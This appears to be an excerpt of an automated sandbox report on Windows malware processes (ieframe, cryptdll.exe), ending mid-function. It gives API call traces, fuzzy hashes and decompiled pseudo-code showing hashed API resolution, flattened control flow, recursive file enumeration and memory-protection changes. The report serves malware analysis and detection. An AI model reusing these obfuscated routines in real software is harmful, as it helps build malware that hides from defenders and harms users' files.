0x003230b1
0x003230b6
0x003230ba
0x003230ba
0x003230c0
0x003230c0
0x003230c0
0x003230c0
0x003230c5
0x00000000
0x00000000
0x003230cb
0x003231f1
0x003232f9
0x00323300
0x003231f7
0x003231f7
0x00000000
0x003231f7
0x003230d1
0x003230d6
0x003231e5
0x00000000
0x003230dc
0x003230e1
0x003231a0
0x003231a8
0x003231c0
0x003231c2
0x003231c2
0x003231ce
0x003231d0
0x003230ba
0x003230ba
0x00000000
0x003230ba
0x003230e7
0x003230ec
0x00000000
0x003230f2
0x003230f2
0x0032310d
0x00323111
0x0032311f
0x00323123
0x00323130
0x00323139
0x00323147
0x0032314b
0x00323153
0x0032315b
0x00323175
0x0032317f
0x00323187
0x0032318b
0x00323193
0x003230ba
0x003230ba
0x00000000
0x003230ba
0x003230ba
0x003230ec
0x003230e1
0x003230d6
0x00000000
0x003230cb
0x00323206
0x00323245
0x0032324c
0x0032325f
0x00323264
0x00323264
0x0032326b
0x00323274
0x0032328c
0x0032328c
0x00323299
0x0032329b
0x0032329f
0x00000000
0x003232a1
0x003232a1
0x00000000
0x003232a1
0x00323208
0x0032320d
0x003232ab
0x003232b3
0x003232cb
0x003232cd
0x003232cd
0x003232e4
0x003232e6
0x003232ed
0x003232f0
0x003232f3
0x00000000
0x00323213
0x00323218
0x00000000
0x0032321a
0x00323221
0x00323223
0x003230ba
0x003230ba
0x00000000
0x003230ba
0x003230ba
0x00323218
0x0032320d
0x00000000
0x0032322d
0x0032322d
0x00323242
0x00000000
0x00323242

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,0000024C), ref: 00323299

Strings

|., xrefs: 003230F2

Memory Dump Source

Source File: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Offset: 00320000, based on PE: true

Associated: 0000000D.00000002.2285127081.0000000000320000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285143400.000000000032D000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285149670.000000000032F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_320000_ieframe.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: |.
API String ID: 1279760036-512043466
Opcode ID: 5b2c6218b68131e4fab41df7855b4e8e89ee15758e6a80fab865c4a26dffeb4e
Instruction ID: 41aa1ee782fecbf5b30c5e8e79d396ee1863ec7fc5a738db2bd7b6a6cc53dabb
Opcode Fuzzy Hash: 5b2c6218b68131e4fab41df7855b4e8e89ee15758e6a80fab865c4a26dffeb4e
Instruction Fuzzy Hash: A151D171B083218BC719DF6CE48556ABBEAEBD4304F20481EF452CB751DB39DA498B92

Uniqueness

Uniqueness Score: -1.00%

Function 00310580, Relevance: 3.1, APIs: 2, Instructions: 127
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00310FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 00310F08
Part of subcall function 00310FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 00310F3E
Part of subcall function 00310FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 00310F7F

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 0031061B
VirtualProtect.KERNEL32(00000000,-00000018,?,00000000,00000000,00000000,-00000018,00000028,?,?,?,00000000,00000000,?,00000000), ref: 0031069C

Memory Dump Source

Source File: 0000000D.00000002.2285120425.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_310000_ieframe.jbxd

Similarity

API ID: MemoryMove$ProtectVirtual
String ID:
API String ID: 4043890290-0
Opcode ID: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction ID: 95879ccceb97e22c8759db7989ad07bf5db49c9d6942580a3fcf66631f0209b7
Opcode Fuzzy Hash: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction Fuzzy Hash: 953156B365420557E32DDA69DC85BEBA3C4EBED350F08083AFA05D2280D5AED4E8C265

Uniqueness

Uniqueness Score: -1.00%

Function 00325CE0, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t5;
				void* _t9;

				E003265E0();
				if( *0x32ddb8 == 0) {
					 *0x32ddb8 = E00323E60(_t5, E00323F00(0x9bab0b12), 0x89f3d704, _t9);
				}
				ExitProcess(0);
			}

0x00325ce0
0x00325cec
0x00325d04
0x00325d04
0x00325d0b

APIs

ExitProcess.KERNELBASE(00000000), ref: 00325D0B

Memory Dump Source

Source File: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Offset: 00320000, based on PE: true

Associated: 0000000D.00000002.2285127081.0000000000320000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285143400.000000000032D000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285149670.000000000032F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_320000_ieframe.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 2177058fa3dbe1f037167b403c73ca34b52b7d81846935de96061d45564caf82
Instruction ID: 3fefe0dd08cdd0c4249489a56717845d87531de8510a839ae1cf3acfbdcf0eaf
Opcode Fuzzy Hash: 2177058fa3dbe1f037167b403c73ca34b52b7d81846935de96061d45564caf82
Instruction Fuzzy Hash: C7D0123178462447DF56ABB5784676A259E4FE0748F10401DF411CF29AFE34CD11B790

Uniqueness

Uniqueness Score: -1.00%

Function 00310AD0, Relevance: 2.7, APIs: 2, Instructions: 175
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00310FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 00310F08
Part of subcall function 00310FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 00310F3E
Part of subcall function 00310FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 00310F7F

VirtualAlloc.KERNEL32(?,?,00000000), ref: 00310BFF

Memory Dump Source

Source File: 0000000D.00000002.2285120425.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_310000_ieframe.jbxd

Similarity

API ID: MemoryMove$AllocVirtual
String ID:
API String ID: 1654584625-0
Opcode ID: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction ID: ecf3428c2703a9bc2565568e3f25e0d14e6f7735c8a37d337c4523f176a6dfc7
Opcode Fuzzy Hash: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction Fuzzy Hash: FB510370640218ABDB299B54DE46FEAB7B8EF58701F004095FA08BB190D6F89DC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 003280A0, Relevance: 1.7, APIs: 1, Instructions: 219
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E003280A0(signed int __edx) {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				char _v564;
				intOrPtr _v568;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				intOrPtr _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				void* __ebx;
				void* __ebp;
				void* _t58;
				void* _t64;
				void* _t66;
				intOrPtr* _t68;
				void* _t72;
				intOrPtr* _t77;
				intOrPtr* _t79;
				void* _t81;
				void* _t82;
				intOrPtr* _t85;
				void* _t87;
				intOrPtr _t88;
				intOrPtr* _t89;
				void* _t91;
				void* _t95;
				intOrPtr _t100;
				char _t104;
				signed int _t121;
				void* _t124;
				void* _t126;
				void* _t127;
				signed int* _t128;
				void* _t130;

				_t121 = __edx;
				_t128 =  &_v596;
				_v584 = 0x9318;
				_t58 = 0x343bfd89;
				_v584 = _v584 ^ 0xde90c338;
				_v584 = _v584 ^ 0xde905120;
				_v596 = 0x7d19;
				_v596 = _v596 << 9;
				_v596 = _v596 >> 0xe;
				_v596 = _v596 + 0xffff07e5;
				_v596 = _v596 | 0x8aea6eef;
				_v596 = _v596 + 0xd867;
				_v596 = _v596 + 0x9c41;
				_v596 = _v596 + 0x3de0;
				_v596 = _v596 + 0x218b;
				_v596 = _v596 ^ 0x00014403;
				_v592 = 0x2591;
				_t127 = _v584;
				_t95 = 0;
				_v592 = _v592 * 0x7d;
				_v592 = _v592 + 0x8d68;
				_v592 = _v592 + 0xffff8911;
				_v592 = _v592 * 0x6a;
				_v592 = _v592 + 0xffff93d5;
				_v592 = _v592 ^ 0x07a13cd2;
				_v588 = 0x789;
				_v588 = _v588 >> 1;
				_v588 = _v588 ^ 0xaee58af2;
				_v588 = _v588 ^ 0xaee58936;
				while(1) {
					L1:
					goto L2;
					do {
						while(1) {
							L2:
							_t130 = _t58 - 0xea5411f;
							if(_t130 > 0) {
								break;
							}
							if(_t130 == 0) {
								_t72 = E003234C0(0x32d970);
								_t121 =  *0x32e158;
								_t126 = _t72;
								if(_t121 == 0) {
									_t121 = E00323E60(_t95, E00323F00(0xc6fbcd74), 0xba71dd03, _t127);
									 *0x32e158 = _t121;
								}
								_t100 =  *0x32e54c; // 0x8fdff0
								_t50 = _t100 + 0x260; // 0x8fe250
								_t51 = _t100 + 0x18; // 0x8fe008
								 *_t121( &_v524, 0x104, _t126, _t51, _t50);
								_t77 =  *0x32e494;
								_t128 =  &(_t128[5]);
								if(_t77 == 0) {
									_t82 = E00323F00(0x9bab0b12);
									_t121 = 0x7facde30;
									_t77 = E00323E60(_t95, _t82, 0x7facde30, _t127);
									 *0x32e494 = _t77;
								}
								_t124 =  *_t77();
								_t79 =  *0x32df30;
								if(_t79 == 0) {
									_t81 = E00323F00(0x9bab0b12);
									_t121 = 0x5010a54d;
									_t79 = E00323E60(_t95, _t81, 0x5010a54d, _t127);
									 *0x32df30 = _t79;
								}
								 *_t79(_t124, 0, _t126);
								_t58 = 0x2c2d24c8;
								goto L1;
							} else {
								if(_t58 == 0x2f64d8b) {
									_t85 =  *0x32e1d4;
									if(_t85 == 0) {
										_t87 = E00323F00(0x9bab0b12);
										_t121 = 0xa229df38;
										_t85 = E00323E60(_t95, _t87, 0xa229df38, _t127);
										 *0x32e1d4 = _t85;
									}
									 *_t85( &_v572);
									_t58 = 0xc5e088d;
									continue;
								} else {
									if(_t58 == 0x6f65414) {
										_t88 = _v568;
										_t104 = _v572;
										_v560 = _t88;
										_v552 = _t88;
										_v544 = _t88;
										_v536 = _t88;
										_t89 =  *0x32dee4;
										_v564 = _t104;
										_v556 = _t104;
										_v548 = _t104;
										_v540 = _t104;
										_v532 = 0;
										if(_t89 == 0) {
											_t91 = E00323F00(0x9bab0b12);
											_t121 = 0x4bf45878;
											_t89 = E00323E60(_t95, _t91, 0x4bf45878, _t127);
											 *0x32dee4 = _t89;
										}
										 *_t89(_t127, 0,  &_v564, 0x28);
										_t58 = 0x3557bd8c;
										_t95 =  !=  ? 1 : _t95;
										continue;
									} else {
										if(_t58 != 0xc5e088d) {
											goto L24;
										} else {
											_v580 = 0xa8c00;
											_v576 = 0;
											_v596 = E0032B6E0(_v580, _v576, 0x989680, 0);
											_v592 = _t121;
											_v588 = _v588 - _v596;
											_t58 = 0xea5411f;
											asm("sbb [esp+0x2c], ecx");
											continue;
										}
									}
								}
							}
							L35:
						}
						if(_t58 == 0x2c2d24c8) {
							if( *0x32de04 == 0) {
								_t66 = E00323F00(0x9bab0b12);
								_t121 = 0xb66d748a;
								 *0x32de04 = E00323E60(_t95, _t66, 0xb66d748a, _t127);
							}
							_t64 = CreateFileW( &_v524, _v584, _v596, 0, _v592, _v588, 0); // executed
							_t127 = _t64;
							if(_t127 == 0xffffffff) {
								goto L34;
							} else {
								_t58 = 0x6f65414;
								goto L2;
							}
						} else {
							if(_t58 == 0x343bfd89) {
								_t58 = 0x2f64d8b;
								goto L2;
							} else {
								if(_t58 == 0x3557bd8c) {
									_t68 =  *0x32de3c;
									if(_t68 == 0) {
										_t68 = E00323E60(_t95, E00323F00(0x9bab0b12), 0x20de7595, _t127);
										 *0x32de3c = _t68;
									}
									 *_t68(_t127);
									L34:
									return _t95;
								} else {
									goto L24;
								}
							}
						}
						goto L35;
						L24:
					} while (_t58 != 0xcfe8e);
					return _t95;
					goto L35;
				}
			}

0x003280a0
0x003280a0
0x003280a6
0x003280ae
0x003280b3
0x003280bb
0x003280c3
0x003280ca
0x003280ce
0x003280d2
0x003280d9
0x003280e0
0x003280e7
0x003280ee
0x003280f5
0x003280fc
0x00328103
0x00328112
0x00328116
0x00328119
0x0032811d
0x00328125
0x00328133
0x00328137
0x0032813f
0x00328147
0x0032814f
0x00328153
0x0032815b
0x00328163
0x00328163
0x00328168
0x00328170
0x00328170
0x00328170
0x00328170
0x00328175
0x00000000
0x00000000
0x0032817b
0x0032828c
0x00328291
0x00328297
0x0032829b
0x003282b3
0x003282b5
0x003282b5
0x003282bb
0x003282c1
0x003282c8
0x003282d7
0x003282d9
0x003282de
0x003282e3
0x003282ea
0x003282ef
0x003282f6
0x003282fb
0x003282fb
0x00328302
0x00328304
0x0032830b
0x00328312
0x00328317
0x0032831e
0x00328323
0x00328323
0x0032832c
0x0032832e
0x00000000
0x00328181
0x00328186
0x00328252
0x00328259
0x00328260
0x00328265
0x0032826c
0x00328271
0x00328271
0x0032827b
0x0032827d
0x00000000
0x0032818c
0x00328191
0x003281e3
0x003281e7
0x003281eb
0x003281ef
0x003281f3
0x003281f7
0x003281fb
0x00328200
0x00328204
0x00328208
0x0032820c
0x00328210
0x0032821a
0x00328221
0x00328226
0x0032822d
0x00328232
0x00328232
0x00328241
0x00328245
0x0032824a
0x00000000
0x00328193
0x00328198
0x00000000
0x0032819e
0x003281a0
0x003281a8
0x003281c4
0x003281c8
0x003281d4
0x003281d8
0x003281dd
0x00000000
0x003281dd
0x00328198
0x00328191
0x00328186
0x00000000
0x0032817b
0x0032833d
0x00328377
0x0032837e
0x00328383
0x00328391
0x00328391
0x003283b4
0x003283b6
0x003283bb
0x00000000
0x003283bd
0x003283bd
0x00000000
0x003283bd
0x0032833f
0x00328344
0x00328365
0x00000000
0x00328346
0x0032834b
0x003283c7
0x003283ce
0x003283e1
0x003283e6
0x003283e6
0x003283ec
0x003283f1
0x003283fa
0x00000000
0x00000000
0x00000000
0x0032834b
0x00328344
0x00000000
0x0032834d
0x0032834d
0x00328364
0x00000000
0x00328364

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE,?,?), ref: 003283B4

Memory Dump Source

Source File: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Offset: 00320000, based on PE: true

Associated: 0000000D.00000002.2285127081.0000000000320000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285143400.000000000032D000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285149670.000000000032F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_320000_ieframe.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: de272bc3ff6f7991cb83dcfbce275f7cdd16f0acf9a49527e72295519d131354
Instruction ID: 1725dd3c006c77ec6d172a10e08a4d81bdf819a821df345c3006ef1b217bdb67
Opcode Fuzzy Hash: de272bc3ff6f7991cb83dcfbce275f7cdd16f0acf9a49527e72295519d131354
Instruction Fuzzy Hash: 7581E2716093109FD72AEF68E84162FB7E9EB94744F10082DF185CB390EB78DD068B92

Uniqueness

Uniqueness Score: -1.00%

Function 00327080, Relevance: 1.5, APIs: 1, Instructions: 45
libraryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00327080(void* __ebx, void* __ecx, signed int __edx, void* __eflags) {
				struct HINSTANCE__* _t6;
				intOrPtr* _t7;
				intOrPtr* _t9;
				intOrPtr _t17;
				signed int _t28;
				void* _t29;
				WCHAR* _t30;
				void* _t31;

				_t15 = __ebx;
				_t28 = __edx;
				_t30 = E003234C0(__ecx);
				if( *0x32dd1c == 0) {
					 *0x32dd1c = E00323E60(__ebx, E00323F00(0x9bab0b12), 0xe4b28d97, _t31);
				}
				_t6 = LoadLibraryW(_t30);
				_t17 =  *0x32e548; // 0x937e08
				 *(_t17 + 0x30 + _t28 * 4) = _t6;
				_t7 =  *0x32e494;
				if(_t7 == 0) {
					_t7 = E00323E60(_t15, E00323F00(0x9bab0b12), 0x7facde30, _t31);
					 *0x32e494 = _t7;
				}
				_t29 =  *_t7();
				_t9 =  *0x32df30;
				if(_t9 == 0) {
					_t9 = E00323E60(_t15, E00323F00(0x9bab0b12), 0x5010a54d, _t31);
					 *0x32df30 = _t9;
				}
				return  *_t9(_t29, 0, _t30);
			}

0x00327080
0x00327082
0x00327089
0x00327092
0x003270aa
0x003270aa
0x003270b0
0x003270b2
0x003270b8
0x003270bc
0x003270c3
0x003270d6
0x003270db
0x003270db
0x003270e2
0x003270e4
0x003270eb
0x003270fe
0x00327103
0x00327103
0x00327110

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,0032721D,003268AC), ref: 003270B0

Memory Dump Source

Source File: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Offset: 00320000, based on PE: true

Associated: 0000000D.00000002.2285127081.0000000000320000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285143400.000000000032D000.00000004.00000001.sdmp Download File
Associated: 0000000D.00000002.2285149670.000000000032F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_320000_ieframe.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 53cc19958cd6d56ec59b4da4f612e2570df980712fc2fb93a052b1ccad526842
Instruction ID: bccdbabf55b36b3a5a0ef8e294e850d74c0fee5c4f20626c3ddba346dfca7396
Opcode Fuzzy Hash: 53cc19958cd6d56ec59b4da4f612e2570df980712fc2fb93a052b1ccad526842
Instruction Fuzzy Hash: 0D01A231B142301B9B27BF7ABC4162B2AAFAFD0B48B11442DA415CF319EE38DD029780

Uniqueness

Uniqueness Score: -1.00%

Function 00310170, Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 00310FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 00310F08
Part of subcall function 00310FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 00310F3E
Part of subcall function 00310FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 00310F7F

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,?,?,?), ref: 003102F6

Memory Dump Source

Source File: 0000000D.00000002.2285120425.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_310000_ieframe.jbxd

Similarity

API ID: MemoryMove$FreeVirtual
String ID:
API String ID: 223123264-0
Opcode ID: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction ID: c345e64d6ee78b2d4929049c9ceb8d3936ec41767ed426ed60b0da7967464ab6
Opcode Fuzzy Hash: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction Fuzzy Hash: 98512AB1900268ABDB28DF64DD85BDEB778EF88700F004599F509BB250DBB45AC5CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00310010, Relevance: 12.6, Strings: 10, Instructions: 98COMMON

Download Yara Rule

Strings

Nine, xrefs: 003100C0
Three, xrefs: 00310072
Eight, xrefs: 003100B3
Five, xrefs: 0031008C
Seven, xrefs: 003100A6
Two, xrefs: 00310065
Four, xrefs: 0031007F
Ten, xrefs: 003100CD
Six, xrefs: 00310099
One, xrefs: 0031005B

Memory Dump Source

Source File: 0000000D.00000002.2285120425.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_310000_ieframe.jbxd

Similarity

API ID:
String ID: Eight$Five$Four$Nine$One$Seven$Six$Ten$Three$Two
API String ID: 0-211638553
Opcode ID: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction ID: 9c5a9fbf546f129eda169380337c8c4c206647b093047216d9b9db7d4ceccb2e
Opcode Fuzzy Hash: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction Fuzzy Hash: 76313D38E511289BCB08DB98CD80AED7BB5FF4C340B508027D502737A4DB789986CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 003106F0, Relevance: 9.2, APIs: 6, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2285120425.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_310000_ieframe.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction ID: 674ef3ec3f76404bc691bfbf9305989340648e749e97ae6d1a45497da3b80910
Opcode Fuzzy Hash: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction Fuzzy Hash: 2E51B772A083019BD72EDF26D841BDBB3D8ABDC794F04052DF548E7241E2B5D8D48792

Uniqueness

Uniqueness Score: -1.00%

Function 003108F0, Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2285120425.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_310000_ieframe.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction ID: 1b912a9163c8a905ed12dfe4471b8fd6003dcd9d9ab8327c598e9f276794cb1e
Opcode Fuzzy Hash: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction Fuzzy Hash: 32411471A143055BC32DDB29DC45AEBB3D9AFCCB50F09493EF640DA240D2B1D9C887A6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cryptdll.exe PID: 2728 Parent PID: 1236 cryptdll.exeCOMMON

Executed Functions

Function 00610400, Relevance: 21.1, APIs: 14, Instructions: 132
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00401010,00000000,?), ref: 00610448

Part of subcall function 00611140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,00610EFD,00000000), ref: 00611155

NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00000018,00401010), ref: 00610463
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 00610484
HeapFree.KERNEL32(00000000,00000001,00000000), ref: 0061048D
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 00610492
RtlAllocateHeap.NTDLL(00000000,00000001,00401010), ref: 0061049F
GetCurrentProcess.KERNEL32(?,00401010,00000000,?), ref: 006104A6
NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00401010,00401010), ref: 006104B9
RtlMoveMemory.NTDLL(00000000,00000000,00000018), ref: 006104E0
RtlMoveMemory.NTDLL(00000000,?,00000014), ref: 006104F7
RtlMoveMemory.NTDLL(?,00000000,00000014), ref: 00610519
RtlMoveMemory.NTDLL(00000000,00000000,00000024), ref: 00610530
RtlMoveMemory.NTDLL(00000000,?,00000048), ref: 00610547
RtlMoveMemory.NTDLL(00000000,00000000,00000048), ref: 00610562

Memory Dump Source

Source File: 0000000E.00000002.2292138449.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_610000_cryptdll.jbxd

Similarity

API ID: MemoryMoveProcess$Heap$CurrentInformationQuery$AllocateFreelstrcpyn
String ID:
API String ID: 482429597-0
Opcode ID: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction ID: 42e7aed4a138fa8b98453f289914240d2a16ca31e724fc8bb93a1f129511882b
Opcode Fuzzy Hash: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction Fuzzy Hash: B44180B19043407EE750EB71C842FEBB2EEAB89740F048D1CB7449B241DAB4D9848B66

Uniqueness

Uniqueness Score: -1.00%

Function 006238F0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E006238F0(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
				short _v1588;
				intOrPtr _v1590;
				struct _WIN32_FIND_DATAW _v1636;
				void* _v1640;
				intOrPtr _v1652;
				void* __ebx;
				void* __ebp;
				void* _t22;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t33;
				signed int _t34;
				void* _t39;
				intOrPtr* _t42;
				signed int _t46;
				intOrPtr* _t50;
				intOrPtr _t55;
				void* _t56;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t98;

				_t91 = __ecx;
				_t95 = __edx;
				_v1640 = __ecx;
				_t22 = 0x25a25425;
				_t56 = _v1640;
				while(1) {
					L1:
					_t98 = _t22 - 0x25a25425;
					if(_t98 > 0) {
						break;
					}
					if(_t98 == 0) {
						_t22 = 0x29bc40d3;
						continue;
					} else {
						if(_t22 == 0x8a099c9) {
							if( *0x62e430 == 0) {
								 *0x62e430 = E00623E60(_t56, E00623F00(0x9bab0b12), 0x83efb111, _t95);
							}
							_t39 = FindFirstFileW( &_v524,  &_v1636); // executed
							_t56 = _t39;
							if(_t56 == 0xffffffff) {
								return _t39;
							} else {
								_t22 = 0x1a4f9837;
								continue;
							}
						} else {
							if(_t22 == 0xb46fa16) {
								_t42 =  *0x62dba4;
								if(_t42 == 0) {
									_t42 = E00623E60(_t56, E00623F00(0x9bab0b12), 0xd274268a, _t95);
									 *0x62dba4 = _t42;
								}
								return  *_t42(_t56);
							}
							if(_t22 != 0x1a4f9837) {
								L27:
								if(_t22 != 0x55fa1f4) {
									continue;
								} else {
									return _t22;
								}
							} else {
								if((_v1636.dwFileAttributes & 0x00000010) == 0) {
									_t46 = _a4( &_v1636, _a8);
									asm("sbb eax, eax");
									_t22 = ( ~_t46 & 0x2b8487c8) + 0xb46fa16;
								} else {
									if(_v1636.cFileName != 0x2e) {
										L12:
										if(_t95 == 0) {
											goto L11;
										} else {
											_t94 = E006234C0(0x62d290);
											_t50 =  *0x62e158;
											if(_t50 == 0) {
												_t50 = E00623E60(_t56, E00623F00(0xc6fbcd74), 0xba71dd03, _t95);
												 *0x62e158 = _t50;
											}
											 *_t50( &_v1044, 0x104, _t94, _t91,  &(_v1636.cFileName));
											E006238F0( &_v1044, _t95, _a4, _a8);
											_t96 = _t96 + 0x1c;
											E00623460(_t94);
											_t22 = 0x36cb81de;
										}
									} else {
										_t55 = _v1590;
										if(_t55 == 0 || _t55 == 0x2e && _v1588 == 0) {
											L11:
											_t22 = 0x36cb81de;
										} else {
											goto L12;
										}
									}
								}
								continue;
							}
						}
					}
					L40:
				}
				if(_t22 == 0x29bc40d3) {
					_t93 = E006234C0(0x62d260);
					_t24 =  *0x62e158;
					if(_t24 == 0) {
						_t24 = E00623E60(_t56, E00623F00(0xc6fbcd74), 0xba71dd03, _t95);
						 *0x62e158 = _t24;
					}
					 *_t24( &_v524, 0x104, _t93, _t91);
					_t26 =  *0x62e494;
					_t96 = _t96 + 0x10;
					if(_t26 == 0) {
						_t26 = E00623E60(_t56, E00623F00(0x9bab0b12), 0x7facde30, _t95);
						 *0x62e494 = _t26;
					}
					_t92 =  *_t26();
					_t28 =  *0x62df30;
					if(_t28 == 0) {
						_t28 = E00623E60(_t56, E00623F00(0x9bab0b12), 0x5010a54d, _t95);
						 *0x62df30 = _t28;
					}
					 *_t28(_t92, 0, _t93);
					_t91 = _v1652;
					_t22 = 0x8a099c9;
					goto L1;
				} else {
					if(_t22 != 0x36cb81de) {
						goto L27;
					} else {
						_t33 =  *0x62df88;
						if(_t33 == 0) {
							_t33 = E00623E60(_t56, E00623F00(0x9bab0b12), 0xa53a5b1a, _t95);
							 *0x62df88 = _t33;
						}
						_t34 =  *_t33(_t56,  &_v1636);
						asm("sbb eax, eax");
						_t22 = ( ~_t34 & 0x0f089e21) + 0xb46fa16;
						goto L1;
					}
				}
				goto L40;
			}

0x006238fa
0x006238fc
0x006238fe
0x00623902
0x00623907
0x00623910
0x00623910
0x00623910
0x00623915
0x00000000
0x00000000
0x0062391b
0x00623a5f
0x00000000
0x00623921
0x00623926
0x00623a1e
0x00623a36
0x00623a36
0x00623a48
0x00623a4a
0x00623a4f
0x00623ba1
0x00623a55
0x00623a55
0x00000000
0x00623a55
0x0062392c
0x00623931
0x00623b70
0x00623b77
0x00623b8a
0x00623b8f
0x00623b8f
0x00000000
0x00623b95
0x0062393c
0x00623ab6
0x00623abb
0x00000000
0x00623acb
0x00623acb
0x00623acb
0x00623942
0x00623947
0x006239fd
0x00623a06
